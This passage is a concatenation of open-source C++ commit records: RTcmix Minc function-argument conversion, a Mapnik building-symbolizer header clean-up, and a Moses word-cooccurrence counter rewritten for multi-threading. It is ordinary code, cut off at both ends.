MEMORY_ERROR; // Convert arglist for passing to RTcmix function. for (int i = 0; i < nargs; i++) { switch (arglist[i].dataType()) { case MincFloatType: rtcmixargs[i] = (MincFloat)arglist[i]; break; case MincStringType: rtcmixargs[i] = (MincString)arglist[i]; break; case MincHandleType: rtcmixargs[i] = (Handle) (MincHandle)arglist[i]; #ifdef EMBEDDED if ((Handle)rtcmixargs[i] == NULL) { minc_die("can't pass a null handle (arg %d) to RTcmix function %s()", i, funcname); return PARAM_ERROR; } #endif break; case MincListType: { MincList *list = (MincList *)arglist[i]; if (list == NULL) { minc_die("can't pass a null list (arg %d) to RTcmix function %s()", i, funcname); return PARAM_ERROR; } if (list->len <= 0) { minc_die("can't pass an empty list (arg %d) to RTcmix function %s()", i, funcname); return PARAM_ERROR; } // If list is final argument to function, treat its contents as additional function arguments if (i == nargs-1) { int argCount = i; Arg *newargs = minc_list_to_arglist(funcname, list->data, list->len, rtcmixargs, &argCount); delete [] rtcmixargs; if (newargs == NULL) return PARAM_ERROR; rtcmixargs = newargs; numArgs = argCount; } // If list contains only floats, convert and pass it along. else { Array *newarray = (Array *) emalloc(sizeof(Array)); if (newarray == NULL) return MEMORY_ERROR; assert(sizeof(*newarray->data) == sizeof(double)); // because we cast MincFloat to double here newarray->data = (double *) float_list_to_array(list); if (newarray->data != NULL) { newarray->len = list->len; rtcmixargs[i] = newarray; } else { minc_die("can't pass a mixed-type list (arg %d) to RTcmix function %s()", i, funcname); free(newarray); return PARAM_ERROR; } } } break; case MincMapType: minc_die("%s(): arg %d: maps not supported as function arguments", funcname, i); return PARAM_ERROR; break; case MincStructType: minc_die("%s(): arg %d: structs not supported as function arguments", funcname, i); return PARAM_ERROR; break; default: minc_die("%s(): arg %d: invalid argument type", funcname, i); return PARAM_ERROR; break; } } result = RTcmix::dispatch(funcname, rtcmixargs, numArgs, &retval); // Convert return value from RTcmix function. switch (retval.type()) { case DoubleType: *return_value = (MincFloat) retval; break; case StringType: *return_value = (MincString) retval; break; case HandleType: *return_value = (MincHandle) (Handle) retval; break; case ArrayType: #ifdef NOMORE // don't think functions will return non-opaque arrays to Minc, but if they do, // these should be converted to MincListType return_value->type = MincArrayType; { Array *array = (Array *) retval; return_value->val.array.len = array->len; return_value->val.array.data = array->data; } #endif break; default: break; } delete [] rtcmixargs; return result; } void printargs(const char *funcname, const Arg arglist[], const int nargs) { RTcmix::printargs(funcname, arglist, nargs); } static Handle _createPFieldHandle(PField *pfield) { Handle handle = (Handle) malloc(sizeof(struct _handle)); handle->type = PFieldType; handle->ptr = (void *) pfield; pfield->ref(); handle->refcount = 0; return handle; } static double plus_binop(double x, double y) { return x + y; } static double minus_binop(double x, double y) { return x - y; } static double mult_binop(double x, double y) { return x * y; } static double divide_binop(double x, double y) { return (y != 0.0) ? x / y : 999999999999999999.9; } static double mod_binop(double x, double y) { return (int) x % (int) y; } static double pow_binop(double x, double y) { return pow(x, y); } PField *createBinopPField(PField *pfield1, PField *pfield2, OpKind op) { PFieldBinaryOperator::Operator binop = NULL; // Create appropriate binary operator PField switch (op) { case OpPlus: binop = plus_binop; break; case OpMinus: binop = minus_binop; break; case OpMul: binop = mult_binop; break; case OpDiv: binop = divide_binop; break; case OpMod: binop = mod_binop; break; case OpPow: binop = pow_binop; break; case OpNeg: default: minc_internal_error("invalid binary handle operator"); return NULL; } // create new Binop PField, return it cast to MincHandle return new PFieldBinaryOperator(pfield1, pfield2, binop); } MincHandle minc_binop_handle_float(const MincHandle mhandle, const MincFloat val, OpKind op) { DPRINT("minc_binop_handle_float (handle=%p, val=%f\n", mhandle, val); if (mhandle == NULL) { minc_warn("Null handle in binary operation"); return (MincHandle)0; } // Extract PField from MincHandle. Handle handle = (Handle) mhandle; if (handle->type != PFieldType) { minc_die("Illegal handle type for this operation"); return (MincHandle)0; } PField *pfield1 = (PField *) handle->ptr; // Create ConstPField for MincFloat. PField *pfield2 = new ConstPField(val); // Create PField using appropriate operator. PField *outpfield = createBinopPField(pfield1, pfield2, op); return (MincHandle) _createPFieldHandle(outpfield); } MincHandle minc_binop_float_handle(const MincFloat val, const MincHandle mhandle, OpKind op) { DPRINT("minc_binop_float_handle (val=%f, handle=%p\n", val, mhandle); if (mhandle == NULL) { minc_warn("Null handle in binary operation"); return (MincHandle)0; } // Create ConstPField for MincFloat. PField *pfield1 = new ConstPField(val); // Extract PField from MincHandle. Handle handle = (Handle) mhandle; if (handle->type != PFieldType) { minc_die("Illegal handle type for this operation"); return (MincHandle)0; } PField *pfield2 = (PField *) handle->ptr; // Create PField using appropriate operator. PField *outpfield = createBinopPField(pfield1, pfield2, op); return (MincHandle) _createPFieldHandle(outpfield); } MincHandle minc_binop_handles(const MincHandle mhandle1, const MincHandle mhandle2, OpKind op) { DPRINT("minc_binop_handles (handle1=%p, handle2=%p\n", mhandle1, mhandle2); if (mhandle1 == NULL || mhandle2 == NULL) { minc_warn("Null handle(s) in binary operation"); return (MincHandle)0; } // Extract PFields from MincHandles Handle handle1 = (Handle) mhandle1; Handle handle2 = (Handle) mhandle2; if (handle1->type != PFieldType || handle2->type != PFieldType) { minc_die("Illegal handle type(s) for this operation"); return (MincHandle)0; } PField *pfield1 = (PField *) handle1->ptr; PField *pfield2 = (PField *) handle2->ptr; PField *opfield = createBinopPField(pfield1, pfield2, op); // create Handle for new PField, return it cast to MincHandle return (MincHandle) _createPFieldHandle(opfield); } <|endoftext|>
<commit_before>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2015 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ #ifndef MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP #define MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP #include <mapnik/segment.hpp> #include <mapnik/feature.hpp> #include <mapnik/vertex_adapters.hpp> #include <mapnik/path.hpp> #include <mapnik/util/math.hpp> #include <mapnik/transform_path_adapter.hpp> #include <algorithm> #include <deque> #pragma GCC diagnostic push #include <mapnik/warning_ignore_agg.hpp> #include "agg_conv_contour.h" #pragma GCC diagnostic pop namespace mapnik { struct render_building_symbolizer { using vertex_adapter_type = geometry::polygon_vertex_adapter<double>; using transform_path_type = transform_path_adapter<view_transform, vertex_adapter_type>; //using roof_type = agg::conv_transform<transform_path_type>; template <typename F1, typename F2, typename F3, typename F4> static void apply(feature_impl const& feature, proj_transform const& prj_trans, view_transform const& view_trans, double height, double shadow_angle, double shadow_length, F1 const & face_func, F2 const & frame_func, F3 const & roof_func, F4 const & shadow_func) { auto const& geom = feature.get_geometry(); if (geom.is<geometry::polygon<double>>()) { auto const& poly = geom.get<geometry::polygon<double>>(); vertex_adapter_type va(poly); transform_path_type transformed(view_trans, va, prj_trans); make_building(transformed, height, shadow_angle, shadow_length, face_func, frame_func, roof_func, shadow_func); } else if (geom.is<geometry::multi_polygon<double>>()) { auto const& multi_poly = geom.get<geometry::multi_polygon<double>>(); for (auto const& poly : multi_poly) { vertex_adapter_type va(poly); transform_path_type transformed(view_trans, va, prj_trans); make_building(transformed, height, shadow_angle, shadow_length, face_func, frame_func, roof_func, shadow_func); } } } private: template <typename GeomVertexAdapter, typename F1, typename F2, typename F3, typename F4> static void make_building(GeomVertexAdapter & geom, double height, double shadow_angle, double shadow_length, F1 const& face_func, F2 const& frame_func, F3 const& roof_func, F4 const& shadow_func) { path_type frame(path_type::types::LineString); path_type roof(path_type::types::Polygon); std::deque<segment_t> face_segments; double ring_begin_x, ring_begin_y; double x0 = 0; double y0 = 0; double x,y; geom.rewind(0); for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END; cm = geom.vertex(&x, &y)) { if (cm == SEG_MOVETO) { frame.move_to(x,y); ring_begin_x = x; ring_begin_y = y; } else if (cm == SEG_LINETO) { frame.line_to(x,y); face_segments.emplace_back(x0,y0,x,y); } else if (cm == SEG_CLOSE) { frame.close_path(); if (!face_segments.empty()) { face_segments.emplace_back(x0, y0, ring_begin_x, ring_begin_y); } } x0 = x; y0 = y; } if (shadow_length > 0) { shadow_angle = util::normalize_angle(shadow_angle * (M_PI / 180.0)); for (auto const& seg : face_segments) { double dx = std::get<2>(seg) - std::get<0>(seg); double dy = std::get<3>(seg) - std::get<1>(seg); double seg_normal_angle = std::atan2(-dx, -dy); double angle_diff = std::abs(seg_normal_angle - shadow_angle); double min_angle_diff = std::min((2 * M_PI) - angle_diff, angle_diff); if (min_angle_diff <= (M_PI / 2.0)) { path_type shadow(path_type::types::Polygon); shadow.move_to(std::get<0>(seg), std::get<1>(seg)); shadow.line_to(std::get<2>(seg), std::get<3>(seg)); shadow.line_to(std::get<2>(seg) + shadow_length * std::cos(shadow_angle), std::get<3>(seg) - shadow_length * std::sin(shadow_angle)); shadow.line_to(std::get<0>(seg) + shadow_length * std::cos(shadow_angle), std::get<1>(seg) - shadow_length * std::sin(shadow_angle)); shadow_func(shadow); } } } for (auto const& seg : face_segments) { path_type faces(path_type::types::Polygon); faces.move_to(std::get<0>(seg),std::get<1>(seg)); faces.line_to(std::get<2>(seg),std::get<3>(seg)); faces.line_to(std::get<2>(seg),std::get<3>(seg) - height); faces.line_to(std::get<0>(seg),std::get<1>(seg) - height); face_func(faces); frame.move_to(std::get<0>(seg),std::get<1>(seg)); frame.line_to(std::get<0>(seg),std::get<1>(seg) - height); } geom.rewind(0); for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END; cm = geom.vertex(&x, &y)) { if (cm == SEG_MOVETO) { frame.move_to(x,y - height); roof.move_to(x,y - height); } else if (cm == SEG_LINETO) { frame.line_to(x,y - height); roof.line_to(x,y - height); } else if (cm == SEG_CLOSE) { frame.close_path(); roof.close_path(); } } frame_func(frame); roof_func(roof); } }; } // namespace mapnik #endif // MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP <commit_msg>clean-up<commit_after>/***************************************************************************** * * This file is part of Mapnik (c++ mapping toolkit) * * Copyright (C) 2015 Artem Pavlenko * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * *****************************************************************************/ #ifndef MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP #define MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP #include <mapnik/segment.hpp> #include <mapnik/feature.hpp> #include <mapnik/vertex_adapters.hpp> #include <mapnik/path.hpp> #include <mapnik/util/math.hpp> #include <mapnik/transform_path_adapter.hpp> #include <algorithm> #include <deque> #pragma GCC diagnostic push #include <mapnik/warning_ignore_agg.hpp> #include "agg_conv_contour.h" #pragma GCC diagnostic pop namespace mapnik { struct render_building_symbolizer { using vertex_adapter_type = geometry::polygon_vertex_adapter<double>; using transform_path_type = transform_path_adapter<view_transform, vertex_adapter_type>; template <typename F1, typename F2, typename F3, typename F4> static void apply(feature_impl const& feature, proj_transform const& prj_trans, view_transform const& view_trans, double height, double shadow_angle, double shadow_length, F1 const & face_func, F2 const & frame_func, F3 const & roof_func, F4 const & shadow_func) { auto const& geom = feature.get_geometry(); if (geom.is<geometry::polygon<double>>()) { auto const& poly = geom.get<geometry::polygon<double>>(); vertex_adapter_type va(poly); transform_path_type transformed(view_trans, va, prj_trans); make_building(transformed, height, shadow_angle, shadow_length, face_func, frame_func, roof_func, shadow_func); } else if (geom.is<geometry::multi_polygon<double>>()) { auto const& multi_poly = geom.get<geometry::multi_polygon<double>>(); for (auto const& poly : multi_poly) { vertex_adapter_type va(poly); transform_path_type transformed(view_trans, va, prj_trans); make_building(transformed, height, shadow_angle, shadow_length, face_func, frame_func, roof_func, shadow_func); } } } private: template <typename GeomVertexAdapter, typename F1, typename F2, typename F3, typename F4> static void make_building(GeomVertexAdapter & geom, double height, double shadow_angle, double shadow_length, F1 const& face_func, F2 const& frame_func, F3 const& roof_func, F4 const& shadow_func) { path_type frame(path_type::types::LineString); path_type roof(path_type::types::Polygon); std::deque<segment_t> face_segments; double ring_begin_x, ring_begin_y; double x0 = 0; double y0 = 0; double x,y; geom.rewind(0); for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END; cm = geom.vertex(&x, &y)) { if (cm == SEG_MOVETO) { frame.move_to(x,y); ring_begin_x = x; ring_begin_y = y; } else if (cm == SEG_LINETO) { frame.line_to(x,y); face_segments.emplace_back(x0,y0,x,y); } else if (cm == SEG_CLOSE) { frame.close_path(); if (!face_segments.empty()) { face_segments.emplace_back(x0, y0, ring_begin_x, ring_begin_y); } } x0 = x; y0 = y; } if (shadow_length > 0) { shadow_angle = util::normalize_angle(shadow_angle * (M_PI / 180.0)); for (auto const& seg : face_segments) { double dx = std::get<2>(seg) - std::get<0>(seg); double dy = std::get<3>(seg) - std::get<1>(seg); double seg_normal_angle = std::atan2(-dx, -dy); double angle_diff = std::abs(seg_normal_angle - shadow_angle); double min_angle_diff = std::min((2 * M_PI) - angle_diff, angle_diff); if (min_angle_diff <= (M_PI / 2.0)) { path_type shadow(path_type::types::Polygon); shadow.move_to(std::get<0>(seg), std::get<1>(seg)); shadow.line_to(std::get<2>(seg), std::get<3>(seg)); shadow.line_to(std::get<2>(seg) + shadow_length * std::cos(shadow_angle), std::get<3>(seg) - shadow_length * std::sin(shadow_angle)); shadow.line_to(std::get<0>(seg) + shadow_length * std::cos(shadow_angle), std::get<1>(seg) - shadow_length * std::sin(shadow_angle)); shadow_func(shadow); } } } for (auto const& seg : face_segments) { path_type faces(path_type::types::Polygon); faces.move_to(std::get<0>(seg),std::get<1>(seg)); faces.line_to(std::get<2>(seg),std::get<3>(seg)); faces.line_to(std::get<2>(seg),std::get<3>(seg) - height); faces.line_to(std::get<0>(seg),std::get<1>(seg) - height); face_func(faces); frame.move_to(std::get<0>(seg),std::get<1>(seg)); frame.line_to(std::get<0>(seg),std::get<1>(seg) - height); } geom.rewind(0); for (unsigned cm = geom.vertex(&x, &y); cm != SEG_END; cm = geom.vertex(&x, &y)) { if (cm == SEG_MOVETO) { frame.move_to(x,y - height); roof.move_to(x,y - height); } else if (cm == SEG_LINETO) { frame.line_to(x,y - height); roof.line_to(x,y - height); } else if (cm == SEG_CLOSE) { frame.close_path(); roof.close_path(); } } frame_func(frame); roof_func(roof); } }; } // namespace mapnik #endif // MAPNIK_RENDERER_COMMON_PROCESS_BUILDING_SYMBOLIZER_HPP <|endoftext|>
<commit_before>// -*- c++ -*- // Program to extract word cooccurrence counts from a memory-mapped word-aligned bitext // stores the counts lexicon in the format for mm2dTable<uint32_t> (ug_mm_2d_table.h) // (c) 2010-2012 Ulrich Germann #include <queue> #include <iomanip> #include <vector> #include <iterator> #include <sstream> #include <boost/program_options.hpp> #include <boost/dynamic_bitset.hpp> #include <boost/shared_ptr.hpp> #include <boost/foreach.hpp> #include <boost/math/distributions/binomial.hpp> #include <boost/unordered_map.hpp> #include <boost/unordered_set.hpp> #include "moses/TranslationModel/UG/generic/program_options/ug_get_options.h" // #include "ug_translation_finder.h" // #include "ug_sorters.h" // #include "ug_corpus_sampling.h" #include "ug_mm_2d_table.h" #include "ug_mm_ttrack.h" #include "ug_corpus_token.h" using namespace std; using namespace ugdiss; using namespace boost::math; typedef mm2dTable<id_type,id_type,uint32_t,uint32_t> LEX_t; typedef SimpleWordId Token; id_type first_rare_id=500; vector<vector<uint32_t> > JFREQ; // joint count table for frequent L1 words vector<map<id_type,uint32_t> > JRARE; // joint count table for rare L1 words vector<vector<uint32_t> > CFREQ; // cooc count table for frequent L1 words vector<map<id_type,uint32_t> > CRARE; // cooc count table for rare L1 words mmTtrack<Token> T1,T2; mmTtrack<char> Tx; TokenIndex V1,V2; string bname,cfgFile,L1,L2,oname,cooc; // DECLARATIONS void interpret_args(int ac, char* av[]); void processSentence(id_type sid) { Token const* s1 = T1.sntStart(sid); Token const* e1 = T1.sntEnd(sid); Token const* s2 = T2.sntStart(sid); Token const* e2 = T2.sntEnd(sid); char const* p = Tx.sntStart(sid); char const* q = Tx.sntEnd(sid); ushort r,c; bitvector check1(T1.sntLen(sid)), check2(T2.sntLen(sid)); check1.set(); check2.set(); vector<ushort> cnt1(V1.ksize(),0); vector<ushort> cnt2(V2.ksize(),0); boost::unordered_set<pair<id_type,id_type> > mycoocs; for (Token const* x = s1; x < e1; ++x) ++cnt1[x->id()]; for (Token const* x = s2; x < e2; ++x) ++cnt2[x->id()]; // count links while (p < q) { p = binread(p,r); p = binread(p,c); check1.reset(r); check2.reset(c); id_type id1 = (s1+r)->id(); id_type id2 = (s2+c)->id(); if (id1 < first_rare_id) JFREQ[id1][id2]++; else JRARE[id1][id2]++; if (cooc.size()) mycoocs.insert(pair<id_type,id_type>(id1,id2)); } // count unaliged words for (size_t i = check1.find_first(); i < check1.size(); i = check1.find_next(i)) { id_type id1 = (s1+i)->id(); if (id1 < first_rare_id) JFREQ[id1][0]++; else JRARE[id1][0]++; } for (size_t i = check2.find_first(); i < check2.size(); i = check2.find_next(i)) JFREQ[0][(s2+i)->id()]++; if (cooc.size()) { typedef boost::unordered_set<pair<id_type,id_type> >::iterator iter; for (iter m = mycoocs.begin(); m != mycoocs.end(); ++m) if (m->first < first_rare_id) CFREQ[m->first][m->second] += cnt1[m->first] * cnt2[m->second]; else CRARE[m->first][m->second] += cnt1[m->first] * cnt2[m->second]; } } // void // count_coocs(id_type sid) // { // Token const* s1 = T1.sntStart(sid); // Token const* e1 = T1.sntEnd(sid); // Token const* s2 = T2.sntStart(sid); // Token const* e2 = T2.sntEnd(sid); // for (Token const* x = s1; x < e1; ++x) // { // if (x->id() < first_rare_id) // { // vector<uint32_t>& v = CFREQ[x->id()]; // for (Token const* y = s2; y < e2; ++y) // ++v[y->id()]; // } // else // { // map<id_type,uint32_t>& m = CRARE[x->id()]; // for (Token const* y = s2; y < e2; ++y) // ++m[y->id()]; // } // } // } void writeTable(string ofname, vector<vector<uint32_t> >& FREQ, vector<map<id_type,uint32_t> >& RARE) { ofstream out(ofname.c_str()); filepos_type idxOffset=0; vector<uint32_t> m1; // marginals L1 vector<uint32_t> m2; // marginals L2 m1.resize(max(first_rare_id,V1.getNumTokens()),0); m2.resize(V2.getNumTokens(),0); vector<id_type> index(V1.getNumTokens()+1,0); numwrite(out,idxOffset); // blank for the time being numwrite(out,id_type(m1.size())); numwrite(out,id_type(m2.size())); id_type cellCount=0; id_type stop = min(first_rare_id,id_type(m1.size())); for (id_type id1 = 0; id1 < stop; ++id1) { index[id1] = cellCount; vector<uint32_t> const& v = FREQ[id1]; for (id_type id2 = 0; id2 < id_type(v.size()); ++id2) { if (!v[id2]) continue; cellCount++; numwrite(out,id2); out.write(reinterpret_cast<char const*>(&v[id2]),sizeof(uint32_t)); m1[id1] += v[id2]; m2[id2] += v[id2]; } } for (id_type id1 = stop; id1 < id_type(m1.size()); ++id1) { index[id1] = cellCount; map<id_type,uint32_t> const& M = RARE[id1]; for (map<id_type,uint32_t>::const_iterator m = M.begin(); m != M.end(); ++m) { if (m->second == 0) continue; cellCount++; numwrite(out,m->first); out.write(reinterpret_cast<char const*>(&m->second),sizeof(float)); m1[id1] += m->second; m2[m->first] += m->second; } } index[m1.size()] = cellCount; idxOffset = out.tellp(); for (size_t i = 0; i < index.size(); ++i) numwrite(out,index[i]); out.write(reinterpret_cast<char const*>(&m1[0]),m1.size()*sizeof(float)); out.write(reinterpret_cast<char const*>(&m2[0]),m2.size()*sizeof(float)); // re-write the file header out.seekp(0); numwrite(out,idxOffset); out.close(); } int main(int argc, char* argv[]) { interpret_args(argc,argv); char c = *bname.rbegin(); if (c != '/' && c != '.') bname += '.'; T1.open(bname+L1+".mct"); T2.open(bname+L2+".mct"); Tx.open(bname+L1+"-"+L2+".mam"); V1.open(bname+L1+".tdx"); V2.open(bname+L2+".tdx"); JFREQ.resize(first_rare_id,vector<uint32_t>(V2.ksize(),0)); JRARE.resize(V1.ksize()); CFREQ.resize(first_rare_id,vector<uint32_t>(V2.ksize(),0)); CRARE.resize(V1.ksize()); for (size_t sid = 0; sid < T1.size(); ++sid) { if (sid%10000 == 0) cerr << sid << endl; processSentence(sid); } if (oname.size()) writeTable(oname,JFREQ,JRARE); if (cooc.size()) writeTable(cooc,CFREQ,CRARE); exit(0); } void interpret_args(int ac, char* av[]) { namespace po=boost::program_options; po::variables_map vm; po::options_description o("Options"); po::options_description h("Hidden Options"); po::positional_options_description a; o.add_options() ("help,h", "print this message") ("cfg,f", po::value<string>(&cfgFile),"config file") ("oname,o", po::value<string>(&oname),"output file name") ("cooc,c", po::value<string>(&cooc), "file name for raw co-occurrence counts") ; h.add_options() ("bname", po::value<string>(&bname), "base name") ("L1", po::value<string>(&L1),"L1 tag") ("L2", po::value<string>(&L2),"L2 tag") ; a.add("bname",1); a.add("L1",1); a.add("L2",1); get_options(ac,av,h.add(o),a,vm,"cfg"); if (vm.count("help") || bname.empty() || (oname.empty() && cooc.empty())) { cout << "usage:\n\t" << av[0] << " <basename> <L1 tag> <L2 tag> [-o <output file>] [-c <output file>]\n" << endl; cout << "at least one of -o / -c must be specified." << endl; cout << o << endl; exit(0); } } <commit_msg>Completely rewritten. Now multi-threaded.<commit_after>// -*- c++ -*- // Program to extract word cooccurrence counts from a memory-mapped // word-aligned bitext stores the counts lexicon in the format for // mm2dTable<uint32_t> (ug_mm_2d_table.h) // // (c) 2010-2012 Ulrich Germann // to do: multi-threading #include <queue> #include <iomanip> #include <vector> #include <iterator> #include <sstream> #include <algorithm> #include <boost/program_options.hpp> #include <boost/dynamic_bitset.hpp> #include <boost/shared_ptr.hpp> #include <boost/foreach.hpp> #include <boost/thread.hpp> #include <boost/math/distributions/binomial.hpp> #include <boost/unordered_map.hpp> #include <boost/unordered_set.hpp> #include "moses/TranslationModel/UG/generic/program_options/ug_get_options.h" #include "ug_mm_2d_table.h" #include "ug_mm_ttrack.h" #include "ug_corpus_token.h" using namespace std; using namespace ugdiss; using namespace boost::math; typedef mm2dTable<id_type,id_type,uint32_t,uint32_t> LEX_t; typedef SimpleWordId Token; // DECLARATIONS void interpret_args(int ac, char* av[]); mmTtrack<Token> T1,T2; mmTtrack<char> Tx; TokenIndex V1,V2; typedef pair<id_type,id_type> wpair; struct Count { uint32_t a; uint32_t c; Count() : a(0), c(0) {}; Count(uint32_t ax, uint32_t cx) : a(ax), c(cx) {} }; bool operator<(pair<id_type,Count> const& a, pair<id_type,Count> const& b) { return a.first < b.first; } typedef boost::unordered_map<wpair,Count> countmap_t; typedef vector<vector<pair<id_type,Count> > > countlist_t; vector<countlist_t> XLEX; class Counter { public: countmap_t CNT; countlist_t & LEX; size_t offset; size_t skip; Counter(countlist_t& lex, size_t o, size_t s) : LEX(lex), offset(o), skip(s) {} void processSentence(id_type sid); void operator()(); }; string bname,cfgFile,L1,L2,oname,cooc; int verbose; size_t truncat; size_t num_threads; void Counter:: operator()() { for (size_t sid = offset; sid < min(truncat,T1.size()); sid += skip) processSentence(sid); LEX.resize(V1.ksize()); for (countmap_t::const_iterator c = CNT.begin(); c != CNT.end(); ++c) { pair<id_type,Count> foo(c->first.second,c->second); LEX.at(c->first.first).push_back(foo); } typedef vector<pair<id_type,Count> > v_t; BOOST_FOREACH(v_t& v, LEX) sort(v.begin(),v.end()); } struct lexsorter { vector<countlist_t> const& v; id_type wid; lexsorter(vector<countlist_t> const& vx, id_type widx) : v(vx),wid(widx) {} bool operator()(pair<uint32_t,uint32_t> const& a, pair<uint32_t,uint32_t> const& b) const { return (v.at(a.first).at(wid).at(a.second).first > v.at(b.first).at(wid).at(b.second).first); } }; void writeTableHeader(ostream& out) { filepos_type idxOffset=0; numwrite(out,idxOffset); // blank for the time being numwrite(out,id_type(V1.ksize())); numwrite(out,id_type(V2.ksize())); } void writeTable(ostream* aln_out, ostream* coc_out) { vector<uint32_t> m1a(V1.ksize(),0); // marginals L1 vector<uint32_t> m2a(V2.ksize(),0); // marginals L2 vector<uint32_t> m1c(V1.ksize(),0); // marginals L1 vector<uint32_t> m2c(V2.ksize(),0); // marginals L2 vector<id_type> idxa(V1.ksize()+1,0); vector<id_type> idxc(V1.ksize()+1,0); if (aln_out) writeTableHeader(*aln_out); if (coc_out) writeTableHeader(*coc_out); size_t CellCountA=0,CellCountC=0; for (size_t id1 = 0; id1 < V1.ksize(); ++id1) { idxa[id1] = CellCountA; idxc[id1] = CellCountC; lexsorter sorter(XLEX,id1); vector<pair<uint32_t,uint32_t> > H; H.reserve(num_threads); for (size_t i = 0; i < num_threads; ++i) { if (id1 < XLEX.at(i).size() && XLEX[i][id1].size()) H.push_back(pair<uint32_t,uint32_t>(i,0)); } if (!H.size()) continue; make_heap(H.begin(),H.end(),sorter); while (H.size()) { id_type id2 = XLEX[H[0].first][id1][H[0].second].first; uint32_t aln = XLEX[H[0].first][id1][H[0].second].second.a; uint32_t coc = XLEX[H[0].first][id1][H[0].second].second.c; pop_heap(H.begin(),H.end(),sorter); ++H.back().second; if (H.back().second == XLEX[H.back().first][id1].size()) H.pop_back(); else push_heap(H.begin(),H.end(),sorter); while (H.size() && XLEX[H[0].first][id1].at(H[0].second).first == id2) { aln += XLEX[H[0].first][id1][H[0].second].second.a; coc += XLEX[H[0].first][id1][H[0].second].second.c; pop_heap(H.begin(),H.end(),sorter); ++H.back().second; if (H.back().second == XLEX[H.back().first][id1].size()) H.pop_back(); else push_heap(H.begin(),H.end(),sorter); } if (aln_out) { ++CellCountA; numwrite(*aln_out,id2); numwrite(*aln_out,aln); m1a[id1] += aln; m2a[id2] += aln; } if (coc_out && coc) { ++CellCountC; numwrite(*coc_out,id2); numwrite(*coc_out,coc); m1c[id1] += coc; m2c[id2] += coc; } } } idxa.back() = CellCountA; idxc.back() = CellCountC; if (aln_out) { filepos_type idxOffsetA = aln_out->tellp(); BOOST_FOREACH(id_type foo, idxa) numwrite(*aln_out,foo); aln_out->write(reinterpret_cast<char const*>(&m1a[0]),m1a.size()*4); aln_out->write(reinterpret_cast<char const*>(&m2a[0]),m2a.size()*4); aln_out->seekp(0); numwrite(*aln_out,idxOffsetA); } if (coc_out) { filepos_type idxOffsetC = coc_out->tellp(); BOOST_FOREACH(id_type foo, idxc) numwrite(*coc_out,foo); coc_out->write(reinterpret_cast<char const*>(&m1c[0]),m1c.size()*4); coc_out->write(reinterpret_cast<char const*>(&m2c[0]),m2c.size()*4); coc_out->seekp(0); numwrite(*coc_out,idxOffsetC); } } void Counter:: processSentence(id_type sid) { Token const* s1 = T1.sntStart(sid); Token const* e1 = T1.sntEnd(sid); Token const* s2 = T2.sntStart(sid); Token const* e2 = T2.sntEnd(sid); vector<ushort> cnt1(V1.ksize(),0); vector<ushort> cnt2(V2.ksize(),0); for (Token const* x = s1; x < e1; ++x) ++cnt1.at(x->id()); for (Token const* x = s2; x < e2; ++x) ++cnt2.at(x->id()); boost::unordered_set<wpair> seen; bitvector check1(T1.sntLen(sid)); check1.set(); bitvector check2(T2.sntLen(sid)); check2.set(); // count links char const* p = Tx.sntStart(sid); char const* q = Tx.sntEnd(sid); ushort r,c; // cout << sid << " " << q-p << endl; while (p < q) { p = binread(p,r); p = binread(p,c); // cout << sid << " " << r << "-" << c << endl; assert(r < check1.size()); assert(c < check2.size()); assert(s1+r < e1); assert(s2+c < e2); check1.reset(r); check2.reset(c); id_type id1 = (s1+r)->id(); id_type id2 = (s2+c)->id(); wpair k(id1,id2); Count& cnt = CNT[k]; cnt.a++; if (seen.insert(k).second) cnt.c += cnt1[id1] * cnt2[id2]; } // count unaliged words for (size_t i = check1.find_first(); i < check1.size(); i = check1.find_next(i)) CNT[wpair((s1+i)->id(),0)].a++; for (size_t i = check2.find_first(); i < check2.size(); i = check2.find_next(i)) CNT[wpair(0,(s2+i)->id())].a++; } // void // writeTable(string ofname, // vector<vector<uint32_t> >& FREQ, // vector<map<id_type,uint32_t> >& RARE) // { // ofstream out(ofname.c_str()); // filepos_type idxOffset=0; // vector<uint32_t> m1; // marginals L1 // vector<uint32_t> m2; // marginals L2 // m1.resize(max(first_rare_id,V1.getNumTokens()),0); // m2.resize(V2.getNumTokens(),0); // vector<id_type> index(V1.getNumTokens()+1,0); // numwrite(out,idxOffset); // blank for the time being // numwrite(out,id_type(m1.size())); // numwrite(out,id_type(m2.size())); // id_type cellCount=0; // id_type stop = min(first_rare_id,id_type(m1.size())); // for (id_type id1 = 0; id1 < stop; ++id1) // { // index[id1] = cellCount; // vector<uint32_t> const& v = FREQ[id1]; // for (id_type id2 = 0; id2 < id_type(v.size()); ++id2) // { // if (!v[id2]) continue; // cellCount++; // numwrite(out,id2); // out.write(reinterpret_cast<char const*>(&v[id2]),sizeof(uint32_t)); // m1[id1] += v[id2]; // m2[id2] += v[id2]; // } // } // for (id_type id1 = stop; id1 < id_type(m1.size()); ++id1) // { // index[id1] = cellCount; // map<id_type,uint32_t> const& M = RARE[id1]; // for (map<id_type,uint32_t>::const_iterator m = M.begin(); m != M.end(); ++m) // { // if 